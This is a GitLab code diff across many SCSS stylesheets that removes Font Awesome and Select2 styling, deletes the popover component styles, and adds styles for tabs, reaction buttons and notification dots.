diff --git a/app/assets/stylesheets/bootstrap_migration.scss b/app/assets/stylesheets/bootstrap_migration.scss
index 3d5076f485c..deeef86c386 100644
--- a/app/assets/stylesheets/bootstrap_migration.scss
+++ b/app/assets/stylesheets/bootstrap_migration.scss
@@ -235,10 +235,6 @@ h3.popover-header {
@extend .border-0;
}
- &.card-without-margin {
- margin: 0;
- }
-
&.bg-light {
@extend .border-0;
}
diff --git a/app/assets/stylesheets/components/milestone_combobox.scss b/app/assets/stylesheets/components/milestone_combobox.scss
index e0637088bbb..f73ec4d5998 100644
--- a/app/assets/stylesheets/components/milestone_combobox.scss
+++ b/app/assets/stylesheets/components/milestone_combobox.scss
@@ -1,11 +1,6 @@
-.selected-item::before {
- content: '\f00c';
- color: $green-500;
- position: absolute;
- left: 16px;
- top: 16px;
- transform: translateY(-50%);
- font: 14px FontAwesome;
+.selected-item {
+ /* stylelint-disable-next-line function-url-quotes */
+ background: url(asset_path('checkmark.png')) no-repeat 0 2px;
}
.dropdown-item-space {
diff --git a/app/assets/stylesheets/components/popover.scss b/app/assets/stylesheets/components/popover.scss
deleted file mode 100644
index f870948cc4f..00000000000
--- a/app/assets/stylesheets/components/popover.scss
+++ /dev/null
@@ -1,111 +0,0 @@
-.popover {
- max-width: $popover-max-width;
- border: 1px solid $gray-100;
- box-shadow: $popover-box-shadow;
- font-size: $gl-font-size-small;
-
- /**
- * Blue popover variation
- */
- &.blue {
- background-color: $blue-600;
- border-color: $blue-600;
-
- .popover-body {
- color: $white;
- }
-
- &.bs-popover-bottom {
- .arrow::before,
- .arrow::after {
- border-bottom-color: $blue-600;
- }
- }
-
- &.bs-popover-top {
- .arrow::before,
- .arrow::after {
- border-top-color: $blue-600;
- }
- }
-
- &.bs-popover-right {
- .arrow::after,
- .arrow::before {
- border-right-color: $blue-600;
- }
- }
-
- &.bs-popover-left {
- .arrow::before,
- .arrow::after {
- border-left-color: $blue-600;
- }
- }
- }
-}
-
-.bs-popover-top {
- /* When popover position is top, the arrow is translated 1 pixel
- * due to the box-shadow include in our custom styles.
- */
- > .arrow::before {
- border-top-color: $gray-100;
- bottom: 1px;
- }
-
- > .arrow::after {
- bottom: 2px;
- }
-}
-
-.bs-popover-bottom {
- > .arrow::before {
- border-bottom-color: $gray-100;
- }
-
- > .popover-header::before {
- border-color: $white;
- }
-}
-
-.bs-popover-right > .arrow::before {
- border-right-color: $gray-100;
-}
-
-.bs-popover-left > .arrow::before {
- border-left-color: $gray-100;
-}
-
-.popover-header {
- background-color: $white;
- font-size: $gl-font-size-small;
-}
-
-.popover-body {
- padding: $gl-padding $gl-padding-12;
-
- > .popover-hr {
- margin: $gl-padding 0;
- }
-}
-
-/**
-* mr_popover component
-*/
-.mr-popover {
- .text-secondary {
- font-size: 12px;
- line-height: 1.33;
- }
-}
-
-.suggest-gitlab-ci-yml {
- margin-top: -1em;
-
- .popover-header {
- padding: $gl-padding;
- display: flex;
- align-items: center;
- }
-}
diff --git a/app/assets/stylesheets/components/whats_new.scss b/app/assets/stylesheets/components/whats_new.scss
index 64e82531c30..51bf2686be2 100644
--- a/app/assets/stylesheets/components/whats_new.scss
+++ b/app/assets/stylesheets/components/whats_new.scss
@@ -6,6 +6,32 @@
.gl-infinite-scroll-legend {
@include gl-display-none;
}
+
+ .gl-tabs {
+ @include gl-overflow-y-auto;
+ }
+
+ .gl-tabs-nav {
+ flex-wrap: nowrap;
+ overflow-x: scroll;
+ align-items: stretch;
+
+ .nav-item {
+ @include gl-flex-shrink-0;
+
+ a {
+ @include gl-h-full;
+ line-height: 1.5;
+ }
+ }
+ }
+
+ .gl-spinner-container {
+ @include gl-w-full;
+ @include gl-absolute;
+ top: 50%;
+ transform: translateY(-50%);
+ }
}
.with-performance-bar .whats-new-drawer {
diff --git a/app/assets/stylesheets/fontawesome_custom.scss b/app/assets/stylesheets/fontawesome_custom.scss
index 8a955cffc49..b9bb3edaaab 100644
--- a/app/assets/stylesheets/fontawesome_custom.scss
+++ b/app/assets/stylesheets/fontawesome_custom.scss
@@ -1,191 +1,43 @@
-/*!
- * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
- * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
- */
-
-// stylelint-disable property-no-vendor-prefix
-// stylelint-disable at-rule-no-vendor-prefix
-// stylelint-disable stylelint-gitlab/duplicate-selectors
-// scss-lint:disable MergeableSelector
-@font-face {
- font-family: 'FontAwesome';
- src: asset-url('fontawesome-webfont.woff2?v=4.7.0') format('woff2'), asset-url('fontawesome-webfont.woff?v=4.7.0') format('woff');
- font-weight: normal;
- font-style: normal;
-}
-
-.fa {
- display: inline-block;
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.fa-lg {
- font-size: 1.33333333em;
- line-height: 0.75em;
- vertical-align: -15%;
-}
-
-.fa-2x {
- font-size: 2em;
-}
-
-.fa-3x {
- font-size: 3em;
-}
-
-.fa-4x {
- font-size: 4em;
-}
-
-.fa-5x {
- font-size: 5em;
-}
-
-.fa-fw {
- width: 1.28571429em;
- text-align: center;
-}
-
-.fa-spin {
- -webkit-animation: fa-spin 2s infinite linear;
- animation: fa-spin 2s infinite linear;
-}
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
+// Custom Font Awesome styles that render emojis in asciidoc
+.md {
+ .fa {
+ display: inline-block;
+ font-style: normal;
+ font-size: 14px;
+ text-rendering: auto;
+ -webkit-font-smoothing: antialiased;
+ -moz-osx-font-smoothing: grayscale;
}
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
+ .fa-2x {
+ font-size: 2em;
}
-}
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
+ .fa-exclamation-triangle::before {
+ content: 'âš ';
}
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
+ .fa-exclamation-circle::before {
+ content: 'â—';
}
-}
-
-.fa-inverse {
- color: $white;
-}
-
-.fa-chevron-down::before {
- content: '\f078';
-}
-
-.fa-caret-down::before {
- content: '\f0d7';
-}
-
-.fa-warning::before,
-.fa-exclamation-triangle::before {
- content: '\f071';
-}
-
-.fa-spinner::before {
- content: '\f110';
-}
-
-.fa-caret-right::before {
- content: '\f0da';
-}
-
-.fa-exclamation-circle::before {
- content: '\f06a';
-}
-
-.fa-file-o::before {
- content: '\f016';
-}
-
-.fa-lightbulb-o::before {
- content: '\f0eb';
-}
-
-.fa-circle::before {
- content: '\f111';
-}
-
-.fa-thumb-tack::before {
- content: '\f08d';
-}
-
-.fa-fire::before {
- content: '\f06d';
-}
-
-.fa-file-pdf-o::before {
- content: '\f1c1';
-}
-
-.fa-file-word-o::before {
- content: '\f1c2';
-}
-
-.fa-file-excel-o::before {
- content: '\f1c3';
-}
-.fa-file-powerpoint-o::before {
- content: '\f1c4';
-}
-
-.fa-file-image-o::before {
- content: '\f1c5';
-}
-
-.fa-file-archive-o::before {
- content: '\f1c6';
-}
-
-.fa-file-audio-o::before {
- content: '\f1c7';
-}
-
-.fa-file-video-o::before {
- content: '\f1c8';
-}
+ .fa-lightbulb-o::before {
+ content: '💡';
+ }
-.fa-square-o::before {
- content: '\f096';
-}
+ .fa-thumb-tack::before {
+ content: '📌';
+ }
-.fa-check-square-o::before {
- content: '\f046';
-}
+ .fa-fire::before {
+ content: '🔥';
+ }
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- border: 0;
-}
+ .fa-square-o::before {
+ content: '\2610';
+ }
-.sr-only-focusable:active,
-.sr-only-focusable:focus {
- position: static;
- width: auto;
- height: auto;
- margin: 0;
- overflow: visible;
- clip: auto;
+ .fa-check-square-o::before {
+ content: '\2611';
+ }
}
diff --git a/app/assets/stylesheets/framework/animations.scss b/app/assets/stylesheets/framework/animations.scss
index 196fb3a7088..a93c70c75d3 100644
--- a/app/assets/stylesheets/framework/animations.scss
+++ b/app/assets/stylesheets/framework/animations.scss
@@ -103,7 +103,8 @@
@include transition(color);
}
-a {
+a,
+.notification-dot {
@include transition(background-color, color, border);
}
diff --git a/app/assets/stylesheets/framework/awards.scss b/app/assets/stylesheets/framework/awards.scss
index 4f09f1a394b..d9ad4992458 100644
--- a/app/assets/stylesheets/framework/awards.scss
+++ b/app/assets/stylesheets/framework/awards.scss
@@ -253,3 +253,111 @@
vertical-align: middle;
}
}
+
+
+// The following encompasses the "add reaction" button redesign to
+// align properly within GitLab UI's gl-button. The implementation
+// above will be deprecated once all instances of "award emoji" are
+// migrated to Vue.
+
+.gl-button .award-emoji-block gl-emoji {
+ top: -1px;
+ margin-top: -1px;
+ margin-bottom: -1px;
+}
+
+.add-reaction-button {
+ position: relative;
+
+ // This forces the height and width of the inner content to match
+ // other gl-buttons despite all child elements being set to
+ // `position:absolute`
+ &::after {
+ content: '\a0';
+ width: 1em;
+ }
+
+ .reaction-control-icon {
+ position: absolute;
+ top: 0;
+ left: 0;
+ height: 100%;
+ width: 100%;
+
+ // center the icon vertically and horizontally within the button
+ display: flex;
+ align-items: center;
+ justify-content: center;
+
+ @include transition(opacity, transform);
+
+ .gl-icon {
+ height: $default-icon-size;
+ width: $default-icon-size;
+ }
+ }
+
+ .reaction-control-icon-neutral {
+ opacity: 1;
+ }
+
+ .reaction-control-icon-positive,
+ .reaction-control-icon-super-positive {
+ opacity: 0;
+ }
+
+ &:hover,
+ &.active,
+ &:active,
+ &.is-active {
+ // extra specificty added to override another selector
+ .reaction-control-icon .gl-icon {
+ color: $blue-500;
+ transform: scale(1.15);
+ }
+
+ .reaction-control-icon-neutral {
+ opacity: 0;
+ }
+ }
+
+ &:hover {
+ .reaction-control-icon-positive {
+ opacity: 1;
+ }
+ }
+
+ &.active,
+ &:active,
+ &.is-active {
+ .reaction-control-icon-positive {
+ opacity: 0;
+ }
+
+ .reaction-control-icon-super-positive {
+ opacity: 1;
+ }
+ }
+
+ &.disabled {
+ cursor: default;
+
+ &:hover,
+ &:focus,
+ &:active {
+ .reaction-control-icon .gl-icon {
+ color: inherit;
+ transform: scale(1);
+ }
+
+ .reaction-control-icon-neutral {
+ opacity: 1;
+ }
+
+ .reaction-control-icon-positive,
+ .reaction-control-icon-super-positive {
+ opacity: 0;
+ }
+ }
+ }
+}
diff --git a/app/assets/stylesheets/framework/blocks.scss b/app/assets/stylesheets/framework/blocks.scss
index f42e500efa8..bfa4a640fe2 100644
--- a/app/assets/stylesheets/framework/blocks.scss
+++ b/app/assets/stylesheets/framework/blocks.scss
@@ -73,7 +73,7 @@
&.content-component-block {
padding: 11px 0;
- background-color: $white;
+ background-color: $body-bg;
}
.title {
diff --git a/app/assets/stylesheets/framework/buttons.scss b/app/assets/stylesheets/framework/buttons.scss
index a8cc685d880..182c58c3931 100644
--- a/app/assets/stylesheets/framework/buttons.scss
+++ b/app/assets/stylesheets/framework/buttons.scss
@@ -166,8 +166,7 @@
line-height: $gl-btn-xs-line-height;
}
- &.btn-success,
- &.btn-register {
+ &.btn-success {
@include btn-green;
}
@@ -176,7 +175,6 @@
@include btn-outline($white, $green-600, $green-500, $green-100, $green-700, $green-500, $green-200, $green-600, $green-800);
}
- &.btn-remove,
&.btn-danger {
@include btn-outline($white, $red-500, $red-500, $red-100, $red-700, $red-500, $red-200, $red-600, $red-800);
}
@@ -200,18 +198,11 @@
@include btn-orange;
}
- &.btn-close,
- &.btn-close-color {
+ &.btn-close {
@include btn-outline($white, $orange-500, $orange-500, $orange-50, $orange-600, $orange-600, $orange-100, $orange-700, $orange-700);
}
- &.btn-spam {
- @include btn-outline($white, $red-500, $red-500, $red-100, $red-700, $red-500, $red-200, $red-600, $red-800);
- }
-
- &.btn-danger,
- &.btn-remove,
- &.btn-red {
+ &.btn-danger {
@include btn-red;
}
@@ -219,11 +210,6 @@
float: right;
}
- &.btn-reopen,
- .btn-reopen-color {
- /* should be same as parent class for now */
- }
-
&.btn-grouped {
@include btn-with-margin;
}
@@ -232,17 +218,6 @@
color: $gray-700;
}
- .fa-caret-down,
- .fa-chevron-down {
- margin-left: 5px;
- }
-
- &.dropdown-toggle {
- .fa-caret-down {
- margin-left: 3px;
- }
- }
-
&.btn-text-field {
width: 100%;
text-align: left;
@@ -276,11 +251,8 @@
width: 15px;
}
- svg,
- .fa {
- &:not(:last-child) {
- margin-right: 5px;
- }
+ svg:not(:last-child) {
+ margin-right: 5px;
}
}
@@ -370,24 +342,15 @@
.btn-loading {
&:not(.disabled) {
- .fa,
.spinner {
display: none;
}
}
-
- .fa {
- margin-right: 5px;
- }
}
.btn-build {
margin-left: 10px;
- i {
- color: $gl-text-color-secondary;
- }
-
svg {
fill: $gl-text-color-secondary;
}
diff --git a/app/assets/stylesheets/framework/common.scss b/app/assets/stylesheets/framework/common.scss
index deb2d6c4641..3b59c028437 100644
--- a/app/assets/stylesheets/framework/common.scss
+++ b/app/assets/stylesheets/framework/common.scss
@@ -135,7 +135,6 @@ hr {
text-overflow: ellipsis;
white-space: nowrap;
- > div:not(.block):not(.select2-display-none),
.str-truncated {
display: inline;
}
@@ -389,11 +388,7 @@ img.emoji {
🚨 Do not use these classes — they are deprecated and being removed. 🚨
See https://gitlab.com/gitlab-org/gitlab/-/issues/217418 for more details.
**/
-.prepend-top-15 { margin-top: 15px; }
.prepend-top-20 { margin-top: 20px; }
-.prepend-left-15 { margin-left: 15px; }
-.prepend-left-20 { margin-left: 20px; }
-.append-right-20 { margin-right: 20px; }
.append-bottom-20 { margin-bottom: 20px; }
.ml-10 { margin-left: 4.5rem; }
.inline { display: inline-block; }
diff --git a/app/assets/stylesheets/framework/diffs.scss b/app/assets/stylesheets/framework/diffs.scss
index e16ab5ee72f..cf9363b77be 100644
--- a/app/assets/stylesheets/framework/diffs.scss
+++ b/app/assets/stylesheets/framework/diffs.scss
@@ -2,10 +2,6 @@
.diff-file {
margin-bottom: $gl-padding;
- &.conflict {
- border-top: 1px solid $border-color;
- }
-
&.has-body {
.file-title {
box-shadow: 0 -2px 0 0 var(--white);
@@ -60,7 +56,7 @@
left: -11px;
width: 10px;
height: calc(100% + 1px);
- background: $white;
+ background: $body-bg;
pointer-events: none;
}
@@ -601,10 +597,6 @@ table.code {
.diff-grid-right {
display: grid;
grid-template-columns: 50px 8px 1fr;
-
- .diff-td:nth-child(2) {
- display: none;
- }
}
.diff-grid-comments {
@@ -635,20 +627,6 @@ table.code {
.diff-grid-left,
.diff-grid-right {
grid-template-columns: 50px 50px 8px 1fr;
-
- .diff-td:nth-child(2) {
- display: block;
- }
- }
-
- .diff-grid-left .old:nth-child(1) [data-linenumber],
- .diff-grid-right .new:nth-child(2) [data-linenumber] {
- display: inline;
- }
-
- .diff-grid-left .old:nth-child(2) [data-linenumber],
- .diff-grid-right .new:nth-child(1) [data-linenumber] {
- display: none;
}
}
}
diff --git a/app/assets/stylesheets/framework/dropdowns.scss b/app/assets/stylesheets/framework/dropdowns.scss
index 2094c824286..e2335c184b0 100644
--- a/app/assets/stylesheets/framework/dropdowns.scss
+++ b/app/assets/stylesheets/framework/dropdowns.scss
@@ -16,12 +16,6 @@
}
}
-@mixin chevron-active {
- .fa-chevron-down {
- color: $gray-darkest;
- }
-}
-
@mixin set-visible {
transform: translateY(0);
display: block;
@@ -56,7 +50,6 @@
.dropdown-toggle,
.dropdown-menu-toggle {
- @include chevron-active;
border-color: $gray-darkest;
}
@@ -114,20 +107,11 @@
color: $gray-darkest;
}
- .fa-chevron-down {
- font-size: $dropdown-chevron-size;
- position: relative;
- top: -2px;
- margin-left: 5px;
- }
-
&:hover {
- @include chevron-active;
border-color: $gray-darkest;
}
&:focus:active {
- @include chevron-active;
border-color: $dropdown-toggle-active-border-color;
outline: 0;
}
@@ -143,18 +127,6 @@
.fa {
position: absolute;
-
- &.fa-spinner {
- font-size: 16px;
- margin-top: -3px;
- }
- }
-
- .fa-chevron-down,
- .fa-spinner {
- position: absolute;
- top: 11px;
- right: 8px;
}
.spinner {
@@ -369,7 +341,8 @@
}
.droplab-dropdown {
- .dropdown-toggle > i {
+ .dropdown-toggle > i,
+ .dropdown-toggle > svg {
pointer-events: none;
}
@@ -532,29 +505,27 @@
&.is-active {
color: $gl-text-color;
- &::before {
- position: absolute;
- left: 16px;
- top: 16px;
- transform: translateY(-50%);
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
- }
-
&.dropdown-menu-user-link::before {
top: 50%;
}
}
&.is-indeterminate::before {
- content: '\f068';
+ position: absolute;
+ left: 16px;
+ top: 16px;
+ transform: translateY(-50%);
+ font-style: normal;
+ font-size: inherit;
+ text-rendering: auto;
+ -webkit-font-smoothing: antialiased;
+ -moz-osx-font-smoothing: grayscale;
+ content: '—';
}
- &.is-active::before {
- content: '\f00c';
+ &.is-active {
+ /* stylelint-disable-next-line function-url-quotes */
+ background: url(asset_path('checkmark.png')) no-repeat 14px 8px;
}
}
}
diff --git a/app/assets/stylesheets/framework/forms.scss b/app/assets/stylesheets/framework/forms.scss
index 7be676ed83c..6e47fef02d5 100644
--- a/app/assets/stylesheets/framework/forms.scss
+++ b/app/assets/stylesheets/framework/forms.scss
@@ -133,11 +133,6 @@ label {
}
.input-group {
- .select2-container {
- display: table-cell;
- max-width: 180px;
- }
-
.input-group-prepend,
.input-group-append {
background-color: $input-group-addon-bg;
@@ -213,15 +208,6 @@ label {
position: relative;
}
-.select-wrapper > .fa-chevron-down {
- position: absolute;
- font-size: 10px;
- right: 10px;
- top: 12px;
- color: $gray-darkest;
- pointer-events: none;
-}
-
.input-icon-wrapper > .input-icon-right {
position: absolute;
right: 0.8em;
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index 52319d9658b..a6a01c7b090 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -384,6 +384,10 @@
text-overflow: ellipsis;
flex: 0 1 auto;
}
+
+ &:last-of-type > .breadcrumbs-list-angle {
+ display: none;
+ }
}
}
@@ -556,12 +560,17 @@
border: 1px solid $gray-normal;
}
-.header-user-notification-dot {
+.notification-dot {
background-color: $orange-300;
height: 12px;
width: 12px;
- right: 8px;
- top: -8px;
+ margin-top: -15px;
+ pointer-events: none;
+ visibility: hidden;
+}
+
+.with-notifications .notification-dot {
+ visibility: visible;
}
.with-performance-bar .navbar-gitlab {
diff --git a/app/assets/stylesheets/framework/lists.scss b/app/assets/stylesheets/framework/lists.scss
index 2464ea3607b..b0334da6943 100644
--- a/app/assets/stylesheets/framework/lists.scss
+++ b/app/assets/stylesheets/framework/lists.scss
@@ -234,6 +234,8 @@ ul.content-list {
}
}
+ul.content-list.issuable-list > li,
+ul.content-list.todos-list > li,
.card > .content-list > li {
padding: $gl-padding-top $gl-padding;
}
diff --git a/app/assets/stylesheets/framework/mixins.scss b/app/assets/stylesheets/framework/mixins.scss
index 20d44b71bf6..7ba9236b833 100644
--- a/app/assets/stylesheets/framework/mixins.scss
+++ b/app/assets/stylesheets/framework/mixins.scss
@@ -146,7 +146,11 @@
}
@mixin green-status-color {
- @include status-color($green-100, $green-500, $green-700);
+ @include status-color(
+ var(--green-100, $green-100),
+ var(--green-500, $green-500),
+ var(--green-700, $green-700)
+ );
}
@mixin fade($gradient-direction, $gradient-color) {
@@ -169,7 +173,6 @@
transition-duration: 0.3s;
}
- .fa,
svg {
position: relative;
top: 5px;
@@ -255,9 +258,9 @@
@mixin build-trace-bar($height) {
height: $height;
min-height: $height;
- background: $gray-light;
- border: 1px solid $border-color;
- color: $gl-text-color;
+ background: var(--gray-50, $gray-50);
+ border: 1px solid var(--border-color, $border-color);
+ color: var(--gl-text-color, $gl-text-color);
padding: $grid-size;
}
@@ -361,11 +364,6 @@
color: $gray-400;
fill: $gray-400;
- .fa {
- position: relative;
- font-size: 16px;
- }
-
svg {
@include btn-svg;
margin: 0;
diff --git a/app/assets/stylesheets/framework/modal.scss b/app/assets/stylesheets/framework/modal.scss
index 372e3bed6e0..2dbeacb0f8c 100644
--- a/app/assets/stylesheets/framework/modal.scss
+++ b/app/assets/stylesheets/framework/modal.scss
@@ -91,6 +91,7 @@
body.modal-open {
overflow: hidden;
+ padding-right: 0 !important;
}
.modal-no-backdrop {
diff --git a/app/assets/stylesheets/framework/secondary_navigation_elements.scss b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
index 3e218de6af9..2ad9a9d2dff 100644
--- a/app/assets/stylesheets/framework/secondary_navigation_elements.scss
+++ b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
@@ -276,7 +276,7 @@
@include fade(left, $gray-light);
right: -5px;
- .fa {
+ svg {
right: -7px;
}
}
@@ -286,7 +286,7 @@
left: -5px;
text-align: center;
- .fa {
+ svg {
left: -7px;
}
}
@@ -337,7 +337,7 @@
@include fade(left, $white);
right: -5px;
- .fa {
+ svg {
right: -7px;
}
}
@@ -346,7 +346,7 @@
@include fade(right, $white);
left: -5px;
- .fa {
+ svg {
left: -7px;
}
}
diff --git a/app/assets/stylesheets/framework/selects.scss b/app/assets/stylesheets/framework/selects.scss
index 86a5aa1a16e..d8ce6826fc1 100644
--- a/app/assets/stylesheets/framework/selects.scss
+++ b/app/assets/stylesheets/framework/selects.scss
@@ -1,275 +1,3 @@
-/** Select2 selectbox style override **/
-.select2-container {
- width: 100% !important;
-
- &.input-md,
- &.input-lg {
- display: block;
- }
-}
-
-.select2-container,
-.select2-container.select2-drop-above {
- .select2-choice {
- background: $white;
- color: $gl-text-color;
- border-color: $input-border;
- height: 34px;
- padding: $gl-vert-padding $gl-input-padding;
- font-size: $gl-font-size;
- line-height: 1.42857143;
- border-radius: $border-radius-base;
-
- .select2-arrow {
- background-image: none;
- background-color: transparent;
- border: 0;
- padding-top: 12px;
- padding-right: 20px;
- font-size: 10px;
-
- b {
- display: none;
- }
-
- &::after {
- content: '\f078';
- position: absolute;
- z-index: 1;
- text-align: center;
- pointer-events: none;
- box-sizing: border-box;
- color: $gray-darkest;
- display: inline-block;
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
- }
- }
-
- .select2-chosen {
- margin-right: 15px;
- }
-
- &:hover {
- border-color: $gray-darkest;
- color: $gl-text-color;
- }
- }
-
- // Essentially we’re doing @include form-control-focus here (from
- // bootstrap/scss/mixins/_forms.scss), except that the bootstrap mixin adds a
- // `&:focus` selector and we’re never actually focusing the .select2-choice
- // link nor the .select2-container, the Select2 library focuses an off-screen
- // .select2-focusser element instead.
- &.select2-container-active:not(.select2-dropdown-open) {
- .select2-choice {
- color: $input-focus-color;
- background-color: $input-focus-bg;
- border-color: $input-focus-border-color;
- outline: 0;
- }
-
- // Reusable focus “glow†box-shadow
- @mixin form-control-focus-glow {
- @if $enable-shadows {
- box-shadow: $input-box-shadow, $input-focus-box-shadow;
- } @else {
- box-shadow: $input-focus-box-shadow;
- }
- }
-
- // Apply the focus “glow†shadow to the .select2-container if it also has
- // the .block-truncated class as that applies an overflow: hidden, thereby
- // hiding the glow of the nested .select2-choice element.
- &.block-truncated {
- @include form-control-focus-glow;
- }
-
- // Apply the glow directly to the .select2-choice link if we’re not
- // block-truncating the container.
- &:not(.block-truncated) .select2-choice {
- @include form-control-focus-glow;
- }
- }
-
- &.is-invalid {
- ~ .invalid-feedback {
- display: block;
- }
-
- .select2-choices,
- .select2-choice {
- border-color: $red-500;
- }
- }
-}
-
-.select2-drop,
-.select2-drop.select2-drop-above {
- background: $white;
- box-shadow: 0 2px 4px $dropdown-shadow-color;
- border-radius: $border-radius-base;
- border: 1px solid $border-color;
- min-width: 175px;
- color: $gl-text-color;
- z-index: 999;
-
- .modal-open & {
- z-index: $zindex-modal + 200;
- }
-}
-
-.select2-drop-mask {
- z-index: 998;
-
- .modal-open & {
- z-index: $zindex-modal + 100;
- }
-}
-
-.select2-drop.select2-drop-above.select2-drop-active {
- border-top: 1px solid $border-color;
- margin-top: -6px;
-}
-
-.select2-container-active {
- .select2-choice,
- .select2-choices {
- box-shadow: none;
- }
-}
-
-.select2-dropdown-open,
-.select2-dropdown-open.select2-drop-above {
- .select2-choice {
- border-color: $gray-darkest;
- outline: 0;
- }
-}
-
-.select2-container-multi {
- .select2-choices {
- border-radius: $border-radius-default;
- border-color: $input-border;
- background: none;
-
- .select2-search-field input {
- padding: 5px $gl-input-padding;
- height: auto;
- font-family: inherit;
- font-size: inherit;
- }
-
- .select2-search-choice {
- margin: 5px 0 0 8px;
- box-shadow: none;
- border-color: $input-border;
- color: $gl-text-color;
- line-height: 15px;
- background-color: $gray-light;
- background-image: none;
- padding: 3px 18px 3px 5px;
-
- .select2-search-choice-close {
- top: 5px;
- left: initial;
- right: 3px;
- }
-
- &.select2-search-choice-focus {
- border-color: $gl-text-color;
- }
- }
- }
-}
-
-.select2-drop-active {
- margin-top: $dropdown-vertical-offset;
- font-size: 14px;
-
- .select2-results {
- max-height: 350px;
- }
-}
-
-.select2-search {
- padding: $grid-size;
-
- .select2-drop-auto-width & {
- padding: $grid-size;
- }
-
- input {
- padding: $grid-size;
- background: transparent image-url('select2.png');
- color: $gl-text-color;
- background-clip: content-box;
- background-origin: content-box;
- background-repeat: no-repeat;
- background-position: right 0 bottom 0 !important;
- border: 1px solid $input-border;
- border-radius: $border-radius-default;
- line-height: 16px;
- transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
-
- &:focus {
- border-color: $blue-300;
- }
-
- &.select2-active {
- background-color: $white;
- background-image: image-url('select2-spinner.gif') !important;
- background-origin: content-box;
- background-repeat: no-repeat;
- background-position: right 6px center !important;
- background-size: 16px 16px !important;
- }
- }
-
- + .select2-results {
- padding-top: 0;
- }
-}
-
-.select2-results {
- margin: 0;
- padding: #{$gl-padding / 2} 0;
-
- .select2-no-results,
- .select2-searching,
- .select2-ajax-error,
- .select2-selection-limit {
- background: transparent;
- padding: #{$gl-padding / 2} $gl-padding;
- }
-
- .select2-result-label,
- .select2-more-results {
- padding: #{$gl-padding / 2} $gl-padding;
- }
-
- .select2-highlighted {
- background: transparent;
- color: $gl-text-color;
-
- .select2-result-label {
- background: $gray-darker;
- }
- }
-
- .select2-result {
- padding: 0 1px;
- }
-
- li.select2-result-with-children > .select2-result-label {
- font-weight: $gl-font-weight-bold;
- color: $gl-text-color;
- }
-}
-
.ajax-users-select {
width: 400px;
@@ -282,14 +10,6 @@
}
}
-.select2-highlighted {
- .group-result {
- .group-path {
- color: $gray-700;
- }
- }
-}
-
.group-result {
.group-image {
float: left;
@@ -345,11 +65,3 @@
.ajax-users-dropdown {
min-width: 250px !important;
}
-
-.select2-result-selectable,
-.select2-result-unselectable {
- .select2-match {
- font-weight: $gl-font-weight-bold;
- text-decoration: none;
- }
-}
diff --git a/app/assets/stylesheets/framework/tables.scss b/app/assets/stylesheets/framework/tables.scss
index 39d9e9a77f9..89713fdbbea 100644
--- a/app/assets/stylesheets/framework/tables.scss
+++ b/app/assets/stylesheets/framework/tables.scss
@@ -184,46 +184,3 @@ table {
border-top: 0;
}
}
-
-.vulnerability-list {
- @media (min-width: $breakpoint-sm) {
- .checkbox {
- padding-left: $gl-spacing-scale-4;
- padding-right: 0;
- width: 1px;
-
- + td,
- + th {
- padding-left: $gl-spacing-scale-4;
- }
- }
-
- .detected {
- width: 9%;
- }
-
- .status {
- width: 8%;
- }
-
- .severity {
- width: 10%;
- }
-
- .description {
- max-width: 0;
- }
-
- .identifier {
- width: 16%;
- }
-
- .scanner {
- width: 10%;
- }
-
- .activity {
- width: 5%;
- }
- }
-}
diff --git a/app/assets/stylesheets/framework/toggle.scss b/app/assets/stylesheets/framework/toggle.scss
index 054280f3321..fd888fdec65 100644
--- a/app/assets/stylesheets/framework/toggle.scss
+++ b/app/assets/stylesheets/framework/toggle.scss
@@ -4,22 +4,22 @@
* @usage
* ### Active and Inactive text should be provided as data attributes:
* <button type="button" class="project-feature-toggle" data-enabled-text="Enabled" data-disabled-text="Disabled">
-* <i class="fa fa-spinner fa-spin loading-icon hidden"></i>
+* <span class="gl-spinner loading-icon hidden" aria-label="Loading"></span>
* </button>
* ### Checked should have `is-checked` class
* <button type="button" class="project-feature-toggle is-checked" data-enabled-text="Enabled" data-disabled-text="Disabled">
-* <i class="fa fa-spinner fa-spin loading-icon hidden"></i>
+* <span class="gl-spinner loading-icon hidden" aria-label="Loading"></span>
* </button>
* ### Disabled should have `is-disabled` class
* <button type="button" class="project-feature-toggle is-disabled" data-enabled-text="Enabled" data-disabled-text="Disabled" disabled="true">
-* <i class="fa fa-spinner fa-spin loading-icon hidden"></i>
+* <span class="gl-spinner loading-icon hidden" aria-label="Loading"></span>
* </button>
* ### Loading should have `is-loading` and an icon with `loading-icon` class
* <button type="button" class="project-feature-toggle is-loading" data-enabled-text="Enabled" data-disabled-text="Disabled">
-* <i class="fa fa-spinner fa-spin loading-icon"></i>
+* <span class="gl-spinner loading-icon" aria-label="Loading"></span>
* </button>
*/
.project-feature-toggle {
diff --git a/app/assets/stylesheets/framework/typography.scss b/app/assets/stylesheets/framework/typography.scss
index 3d09edfe181..1a568bb41a5 100644
--- a/app/assets/stylesheets/framework/typography.scss
+++ b/app/assets/stylesheets/framework/typography.scss
@@ -1,3 +1,6 @@
+// Custom Fontawesome icons
+@import 'fontawesome_custom';
+
/**
* Apply Markup (Markdown/AsciiDoc) typography
*
